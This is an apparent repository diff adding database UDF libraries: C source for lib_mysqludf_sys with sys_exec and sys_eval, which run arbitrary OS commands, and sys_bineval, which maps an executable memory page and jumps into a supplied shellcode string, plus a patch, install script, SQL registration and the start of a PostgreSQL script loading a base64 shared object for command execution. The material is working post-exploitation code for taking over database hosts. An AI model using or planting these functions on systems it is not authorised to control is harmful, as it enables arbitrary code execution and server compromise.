||||||
|
message
|
||||||
|
, "Expected exactly one string type parameter"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void sys_get_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
}
|
||||||
|
|
||||||
|
char* sys_get(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
char* value = getenv(args->args[0]);
|
||||||
|
if(value == NULL){
|
||||||
|
*is_null = 1;
|
||||||
|
} else {
|
||||||
|
*length = strlen(value);
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
my_bool sys_set_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
if(args->arg_count!=2){
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Expected exactly two arguments"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
if(args->arg_type[0]!=STRING_RESULT){
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Expected string type for name parameter"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
args->arg_type[1]=STRING_RESULT;
|
||||||
|
if((initid->ptr=malloc(
|
||||||
|
args->lengths[0]
|
||||||
|
+ 1
|
||||||
|
+ args->lengths[1]
|
||||||
|
+ 1
|
||||||
|
))==NULL){
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Could not allocate memory"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void sys_set_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
if (initid->ptr!=NULL){
|
||||||
|
free(initid->ptr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
long long sys_set(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
char *name = initid->ptr;
|
||||||
|
char *value = name + args->lengths[0] + 1;
|
||||||
|
memcpy(
|
||||||
|
name
|
||||||
|
, args->args[0]
|
||||||
|
, args->lengths[0]
|
||||||
|
);
|
||||||
|
*(name + args->lengths[0]) = '\0';
|
||||||
|
memcpy(
|
||||||
|
value
|
||||||
|
, args->args[1]
|
||||||
|
, args->lengths[1]
|
||||||
|
);
|
||||||
|
*(value + args->lengths[1]) = '\0';
|
||||||
|
return SETENV(name,value);
|
||||||
|
}
|
||||||
|
|
||||||
|
my_bool sys_exec_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
unsigned int i=0;
|
||||||
|
if(args->arg_count == 1
|
||||||
|
&& args->arg_type[i]==STRING_RESULT){
|
||||||
|
return 0;
|
||||||
|
} else {
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Expected exactly one string type parameter"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void sys_exec_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
}
|
||||||
|
|
||||||
|
my_ulonglong sys_exec(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
return system(args->args[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
my_bool sys_eval_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
unsigned int i=0;
|
||||||
|
if(args->arg_count == 1
|
||||||
|
&& args->arg_type[i]==STRING_RESULT){
|
||||||
|
return 0;
|
||||||
|
} else {
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Expected exactly one string type parameter"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void sys_eval_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
}
|
||||||
|
|
||||||
|
char* sys_eval(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
FILE *pipe;
|
||||||
|
char line[1024];
|
||||||
|
unsigned long outlen, linelen;
|
||||||
|
|
||||||
|
result = malloc(1);
|
||||||
|
outlen = 0;
|
||||||
|
|
||||||
|
pipe = popen(args->args[0], "r");
|
||||||
|
|
||||||
|
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||||
|
linelen = strlen(line);
|
||||||
|
result = realloc(result, outlen + linelen);
|
||||||
|
strncpy(result + outlen, line, linelen);
|
||||||
|
outlen = outlen + linelen;
|
||||||
|
}
|
||||||
|
|
||||||
|
pclose(pipe);
|
||||||
|
|
||||||
|
if (!(*result) || result == NULL) {
|
||||||
|
*is_null = 1;
|
||||||
|
} else {
|
||||||
|
result[outlen-1] = 0x00;
|
||||||
|
*length = strlen(result);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
my_bool sys_bineval_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
){
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void sys_bineval_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
int sys_bineval(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
){
|
||||||
|
int32 argv0_size;
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
int pID;
|
||||||
|
char *code;
|
||||||
|
#else
|
||||||
|
int *addr;
|
||||||
|
size_t page_size;
|
||||||
|
pid_t pID;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
argv0_size = strlen(args->args[0]);
|
||||||
|
len = (size_t)argv0_size;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
// allocate a +rwx memory page
|
||||||
|
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
strncpy(code, args->args[0], len);
|
||||||
|
|
||||||
|
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||||
|
#else
|
||||||
|
pID = fork();
|
||||||
|
if(pID<0)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
if(pID==0)
|
||||||
|
{
|
||||||
|
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||||
|
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||||
|
|
||||||
|
// mmap an rwx memory page
|
||||||
|
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||||
|
|
||||||
|
if (addr == MAP_FAILED)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
strncpy((char *)addr, args->args[0], len);
|
||||||
|
|
||||||
|
((void (*)(void))addr)();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pID>0)
|
||||||
|
waitpid(pID, 0, WNOHANG);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||||
|
{
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax, [lpParameter]
|
||||||
|
call eax
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* HAVE_DLOPEN */
|
||||||
354
extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch
Normal file
354
extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch
Normal file
@@ -0,0 +1,354 @@
|
|||||||
|
diff -uN lib_mysqludf_sys_0.0.2/install.sh lib_mysqludf_sys/install.sh
|
||||||
|
--- lib_mysqludf_sys_0.0.2/install.sh 1970-01-01 01:00:00.000000000 +0100
|
||||||
|
+++ lib_mysqludf_sys/install.sh 2009-01-21 00:51:52.000000000 +0000
|
||||||
|
@@ -0,0 +1,43 @@
|
||||||
|
+#!/bin/bash
|
||||||
|
+# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
+# Copyright (C) 2007 Roland Bouman
|
||||||
|
+# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||||
|
+# web: http://www.mysqludf.org/
|
||||||
|
+# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||||
|
+#
|
||||||
|
+# This library is free software; you can redistribute it and/or
|
||||||
|
+# modify it under the terms of the GNU Lesser General Public
|
||||||
|
+# License as published by the Free Software Foundation; either
|
||||||
|
+# version 2.1 of the License, or (at your option) any later version.
|
||||||
|
+#
|
||||||
|
+# This library is distributed in the hope that it will be useful,
|
||||||
|
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
+# Lesser General Public License for more details.
|
||||||
|
+#
|
||||||
|
+# You should have received a copy of the GNU Lesser General Public
|
||||||
|
+# License along with this library; if not, write to the Free Software
|
||||||
|
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
+
|
||||||
|
+echo "Compiling the MySQL UDF"
|
||||||
|
+make
|
||||||
|
+
|
||||||
|
+if test $? -ne 0; then
|
||||||
|
+ echo "ERROR: You need libmysqlclient development software installed "
|
||||||
|
+ echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||||
|
+ echo "apt-get install libmysqlclient15-dev"
|
||||||
|
+ exit 1
|
||||||
|
+else
|
||||||
|
+ echo "MySQL UDF compiled successfully"
|
||||||
|
+fi
|
||||||
|
+
|
||||||
|
+echo -e "\nPlease provide your MySQL root password"
|
||||||
|
+
|
||||||
|
+mysql -u root -p mysql < lib_mysqludf_sys.sql
|
||||||
|
+
|
||||||
|
+if test $? -ne 0; then
|
||||||
|
+ echo "ERROR: unable to install the UDF"
|
||||||
|
+ exit 1
|
||||||
|
+else
|
||||||
|
+ echo "MySQL UDF installed successfully"
|
||||||
|
+fi
|
||||||
|
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys_0.0.2.tar.gz and lib_mysqludf_sys/lib_mysqludf_sys_0.0.2.tar.gz differ
|
||||||
|
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c lib_mysqludf_sys/lib_mysqludf_sys.c
|
||||||
|
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c 2009-01-22 12:01:55.000000000 +0000
|
||||||
|
+++ lib_mysqludf_sys/lib_mysqludf_sys.c 2009-01-21 00:06:13.000000000 +0000
|
||||||
|
@@ -1,8 +1,9 @@
|
||||||
|
/*
|
||||||
|
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2007 Roland Bouman
|
||||||
|
- web: http://www.xcdsql.org/MySQL/UDF/
|
||||||
|
- email: mysqludfs@gmail.com
|
||||||
|
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||||
|
+ web: http://www.mysqludf.org/
|
||||||
|
+ email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
@@ -51,7 +52,7 @@
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
-#define LIBVERSION "lib_mysqludf_sys version 0.0.2"
|
||||||
|
+#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
|
||||||
|
|
||||||
|
#ifdef __WIN__
|
||||||
|
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
||||||
|
@@ -139,7 +140,7 @@
|
||||||
|
/**
|
||||||
|
* sys_exec
|
||||||
|
*
|
||||||
|
- * executes the argument commandstring.
|
||||||
|
+ * executes the argument commandstring and returns its exit status.
|
||||||
|
* Beware that this can be a security hazard.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
@@ -162,6 +163,34 @@
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
+/**
|
||||||
|
+ * sys_eval
|
||||||
|
+ *
|
||||||
|
+ * executes the argument commandstring and returns its standard output.
|
||||||
|
+ * Beware that this can be a security hazard.
|
||||||
|
+ */
|
||||||
|
+DLLEXP
|
||||||
|
+my_bool sys_eval_init(
|
||||||
|
+ UDF_INIT *initid
|
||||||
|
+, UDF_ARGS *args
|
||||||
|
+, char *message
|
||||||
|
+);
|
||||||
|
+
|
||||||
|
+DLLEXP
|
||||||
|
+void sys_eval_deinit(
|
||||||
|
+ UDF_INIT *initid
|
||||||
|
+);
|
||||||
|
+
|
||||||
|
+DLLEXP
|
||||||
|
+char* sys_eval(
|
||||||
|
+ UDF_INIT *initid
|
||||||
|
+, UDF_ARGS *args
|
||||||
|
+, char* result
|
||||||
|
+, unsigned long* length
|
||||||
|
+, char *is_null
|
||||||
|
+, char *error
|
||||||
|
+);
|
||||||
|
+
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
@@ -336,5 +365,62 @@
|
||||||
|
return system(args->args[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
+my_bool sys_eval_init(
|
||||||
|
+ UDF_INIT *initid
|
||||||
|
+, UDF_ARGS *args
|
||||||
|
+, char *message
|
||||||
|
+){
|
||||||
|
+ unsigned int i=0;
|
||||||
|
+ if(args->arg_count == 1
|
||||||
|
+ && args->arg_type[i]==STRING_RESULT){
|
||||||
|
+ return 0;
|
||||||
|
+ } else {
|
||||||
|
+ strcpy(
|
||||||
|
+ message
|
||||||
|
+ , "Expected exactly one string type parameter"
|
||||||
|
+ );
|
||||||
|
+ return 1;
|
||||||
|
+ }
|
||||||
|
+}
|
||||||
|
+void sys_eval_deinit(
|
||||||
|
+ UDF_INIT *initid
|
||||||
|
+){
|
||||||
|
+}
|
||||||
|
+char* sys_eval(
|
||||||
|
+ UDF_INIT *initid
|
||||||
|
+, UDF_ARGS *args
|
||||||
|
+, char* result
|
||||||
|
+, unsigned long* length
|
||||||
|
+, char *is_null
|
||||||
|
+, char *error
|
||||||
|
+){
|
||||||
|
+ FILE *pipe;
|
||||||
|
+ char line[1024];
|
||||||
|
+ unsigned long outlen, linelen;
|
||||||
|
+
|
||||||
|
+ result = malloc(1);
|
||||||
|
+ outlen = 0;
|
||||||
|
+
|
||||||
|
+ pipe = popen(args->args[0], "r");
|
||||||
|
+
|
||||||
|
+ while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||||
|
+ linelen = strlen(line);
|
||||||
|
+ result = realloc(result, outlen + linelen);
|
||||||
|
+ strncpy(result + outlen, line, linelen);
|
||||||
|
+ outlen = outlen + linelen;
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ pclose(pipe);
|
||||||
|
+
|
||||||
|
+ if (!(*result) || result == NULL) {
|
||||||
|
+ *is_null = 1;
|
||||||
|
+ } else {
|
||||||
|
+ result[outlen] = 0x00;
|
||||||
|
+ *length = strlen(result);
|
||||||
|
+ }
|
||||||
|
+
|
||||||
|
+ return result;
|
||||||
|
+}
|
||||||
|
+
|
||||||
|
|
||||||
|
#endif /* HAVE_DLOPEN */
|
||||||
|
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html lib_mysqludf_sys/lib_mysqludf_sys.html
|
||||||
|
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html 2009-01-22 12:01:55.000000000 +0000
|
||||||
|
+++ lib_mysqludf_sys/lib_mysqludf_sys.html 2009-01-22 10:21:46.000000000 +0000
|
||||||
|
@@ -23,7 +23,8 @@
|
||||||
|
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
|
||||||
|
</p>
|
||||||
|
<ol>
|
||||||
|
- <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and can thus be used to launch an external application.</li>
|
||||||
|
+ <li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
|
||||||
|
+ <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
|
||||||
|
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
|
||||||
|
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
|
||||||
|
</ol>
|
||||||
|
@@ -31,6 +32,72 @@
|
||||||
|
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
+
|
||||||
|
+ <a name="sys_eval"></a><h2>sys_eval</h2>
|
||||||
|
+ <p>
|
||||||
|
+ <code>sys_eval</code> takes one command string argument and executes it, returning its output.
|
||||||
|
+ </p>
|
||||||
|
+ <h3>Syntax</h3>
|
||||||
|
+<pre>sys_eval(<b>arg1</b>)</pre>
|
||||||
|
+ <h3>Parameters and Return Values</h3>
|
||||||
|
+ <dl>
|
||||||
|
+ <dt><code><b>arg1</b></code></dt>
|
||||||
|
+ <dd>
|
||||||
|
+ A command string valid for the current operating system or execution environment.
|
||||||
|
+ </dd>
|
||||||
|
+ <dt>returns</dt>
|
||||||
|
+ <dd>
|
||||||
|
+ Whatever output the command pushed to the standard output stream.
|
||||||
|
+ </dd>
|
||||||
|
+ </dl>
|
||||||
|
+ <h3>Installation</h3>
|
||||||
|
+ <p>
|
||||||
|
+ Place the shared library binary in an appropriate location.
|
||||||
|
+ Log in to mysql as root or as another user with sufficient privileges, and select any database.
|
||||||
|
+ Then, create the function using the following DDL statement:
|
||||||
|
+ </p>
|
||||||
|
+ <pre>
|
||||||
|
+CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
|
||||||
|
+ </pre>
|
||||||
|
+ <p>
|
||||||
|
+ The function will be globally available in all databases.
|
||||||
|
+ </p>
|
||||||
|
+ <p>
|
||||||
|
+ The deinstall the function, run the following statement:
|
||||||
|
+ </p>
|
||||||
|
+ <pre>
|
||||||
|
+DROP FUNCTION sys_eval;
|
||||||
|
+ </pre>
|
||||||
|
+ <h3>Examples</h3>
|
||||||
|
+ <p>
|
||||||
|
+ None yet
|
||||||
|
+ </p>
|
||||||
|
+ <h3>A Note of Caution</h3>
|
||||||
|
+ <p>
|
||||||
|
+ Be very careful in deciding whether you need this function.
|
||||||
|
+ UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
|
||||||
|
+ As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
|
||||||
|
+ exposing the function poses a very real security hazard.
|
||||||
|
+ </p>
|
||||||
|
+ <p>
|
||||||
|
+ Even for a benign user, it is possible to accidentally do a lot of damage with it.
|
||||||
|
+ The call will be executed with the privileges of the os user that runs MySQL,
|
||||||
|
+ so it is entirely feasible to delete MySQL's data directory, or worse.
|
||||||
|
+ </p>
|
||||||
|
+ <p>
|
||||||
|
+ The function is intended for specialized MySQL applications where one needs extended
|
||||||
|
+ control over the operating system.
|
||||||
|
+ Currently, we do not have UDF's for ftp, email and http,
|
||||||
|
+ and this function can be used to implement such functionality in case it is really necessary
|
||||||
|
+ (datawarehouse staging areas could be a case in example).
|
||||||
|
+ </p>
|
||||||
|
+ <p>
|
||||||
|
+ You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||||
|
+ </p>
|
||||||
|
+ <p>
|
||||||
|
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
|
||||||
|
+ </p>
|
||||||
|
+
|
||||||
|
<a name="sys_exec"></a><h2>sys_exec</h2>
|
||||||
|
<p>
|
||||||
|
<code>sys_exec</code> takes one command string argument and executes it.
|
||||||
|
@@ -92,6 +159,9 @@
|
||||||
|
<p>
|
||||||
|
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
|
||||||
|
</p>
|
||||||
|
+ <p>
|
||||||
|
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
|
||||||
|
+ </p>
|
||||||
|
<a name="sys_get"></a><h2>sys_get</h2>
|
||||||
|
<p>
|
||||||
|
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
|
||||||
|
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.so and lib_mysqludf_sys/lib_mysqludf_sys.so differ
|
||||||
|
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql lib_mysqludf_sys/lib_mysqludf_sys.sql
|
||||||
|
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql 2009-01-22 12:01:55.000000000 +0000
|
||||||
|
+++ lib_mysqludf_sys/lib_mysqludf_sys.sql 2009-01-22 10:21:53.000000000 +0000
|
||||||
|
@@ -1,30 +1,33 @@
|
||||||
|
-/*
|
||||||
|
- lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
- Copyright (C) 2007 Roland Bouman
|
||||||
|
- web: http://www.xcdsql.org/MySQL/UDF/
|
||||||
|
- email: mysqludfs@gmail.com
|
||||||
|
-
|
||||||
|
- This library is free software; you can redistribute it and/or
|
||||||
|
- modify it under the terms of the GNU Lesser General Public
|
||||||
|
- License as published by the Free Software Foundation; either
|
||||||
|
- version 2.1 of the License, or (at your option) any later version.
|
||||||
|
-
|
||||||
|
- This library is distributed in the hope that it will be useful,
|
||||||
|
- but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
- Lesser General Public License for more details.
|
||||||
|
-
|
||||||
|
- You should have received a copy of the GNU Lesser General Public
|
||||||
|
- License along with this library; if not, write to the Free Software
|
||||||
|
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
+/*
|
||||||
|
+ lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
+ Copyright (C) 2007 Roland Bouman
|
||||||
|
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||||
|
+ web: http://www.mysqludf.org/
|
||||||
|
+ email: roland.bouman@gmail.com, bernardo.damele@gmail.com
|
||||||
|
+
|
||||||
|
+ This library is free software; you can redistribute it and/or
|
||||||
|
+ modify it under the terms of the GNU Lesser General Public
|
||||||
|
+ License as published by the Free Software Foundation; either
|
||||||
|
+ version 2.1 of the License, or (at your option) any later version.
|
||||||
|
+
|
||||||
|
+ This library is distributed in the hope that it will be useful,
|
||||||
|
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
+ Lesser General Public License for more details.
|
||||||
|
+
|
||||||
|
+ You should have received a copy of the GNU Lesser General Public
|
||||||
|
+ License along with this library; if not, write to the Free Software
|
||||||
|
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
|
||||||
|
-drop function lib_mysqludf_sys_info;
|
||||||
|
-drop function sys_get;
|
||||||
|
-drop function sys_set;
|
||||||
|
-drop function sys_exec;
|
||||||
|
+DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
|
||||||
|
+DROP FUNCTION IF EXISTS sys_get;
|
||||||
|
+DROP FUNCTION IF EXISTS sys_set;
|
||||||
|
+DROP FUNCTION IF EXISTS sys_exec;
|
||||||
|
+DROP FUNCTION IF EXISTS sys_eval;
|
||||||
|
|
||||||
|
-create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so';
|
||||||
|
-create function sys_get returns string soname 'lib_mysqludf_sys.so';
|
||||||
|
-create function sys_set returns int soname 'lib_mysqludf_sys.so';
|
||||||
|
-create function sys_exec returns int soname 'lib_mysqludf_sys.so';
|
||||||
|
+CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
|
+CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
|
+CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||||
|
+CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||||
|
+CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
|
diff -uN lib_mysqludf_sys_0.0.2/Makefile lib_mysqludf_sys/Makefile
|
||||||
|
--- lib_mysqludf_sys_0.0.2/Makefile 2009-01-22 12:01:55.000000000 +0000
|
||||||
|
+++ lib_mysqludf_sys/Makefile 2009-01-19 09:11:00.000000000 +0000
|
||||||
|
@@ -1,6 +1,4 @@
|
||||||
|
-linux: \
|
||||||
|
- lib_mysqludf_sys.so
|
||||||
|
+LIBDIR=/usr/lib
|
||||||
|
|
||||||
|
-lib_mysqludf_sys.so: \
|
||||||
|
-
|
||||||
|
- gcc -Wall -I/opt/mysql/mysql/include -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
|
||||||
|
+install:
|
||||||
|
+ gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so
|
||||||
|
Common subdirectories: lib_mysqludf_sys_0.0.2/.svn and lib_mysqludf_sys/.svn
|
||||||
BIN
extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz
Normal file
BIN
extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz
Normal file
Binary file not shown.
97
extra/postgresqludfsys/command_execution/linux.sql
Normal file
97
extra/postgresqludfsys/command_execution/linux.sql
Normal file
@@ -0,0 +1,97 @@
|
|||||||
|
-- Notes:
|
||||||
|
--
|
||||||
|
-- The SO compiled using PostgreSQL 8.3 C libraries differs from the one
|
||||||
|
-- compiled using PostgreSQL 8.2 C libraries
|
||||||
|
--
|
||||||
|
-- SO compiled using PostgreSQL 8.3 C libraries
|
||||||
|
-- lib_postgresqludf_sys.so: 8567 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
|
||||||
|
-- lib_postgresqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
|
||||||
|
--
|
||||||
|
-- SO compiled using PostgreSQL 8.2 C libraries
|
||||||
|
-- lib_postgresqludf_sys.so: 8567 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
|
||||||
|
-- lib_postgresqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
|
||||||
|
--
|
||||||
|
-- Little hack to compress the shared object:
|
||||||
|
-- * Compile with -O1 the shared object
|
||||||
|
-- * Use strip to remove all symbols (-s) and non-global symbols (-x)
|
||||||
|
|
||||||
|
|
||||||
|
-- Create a table with one field data-type text
|
||||||
|
DROP TABLE IF EXISTS udftest;
|
||||||
|
CREATE TABLE udftest(data text);
|
||||||
|
|
||||||
|
|
||||||
|
-- Insert the base64 encoded UDF in the table
|
||||||
|
|
||||||
|
-- SO compiled using PostgreSQL 8.3 C libraries
|
||||||
|
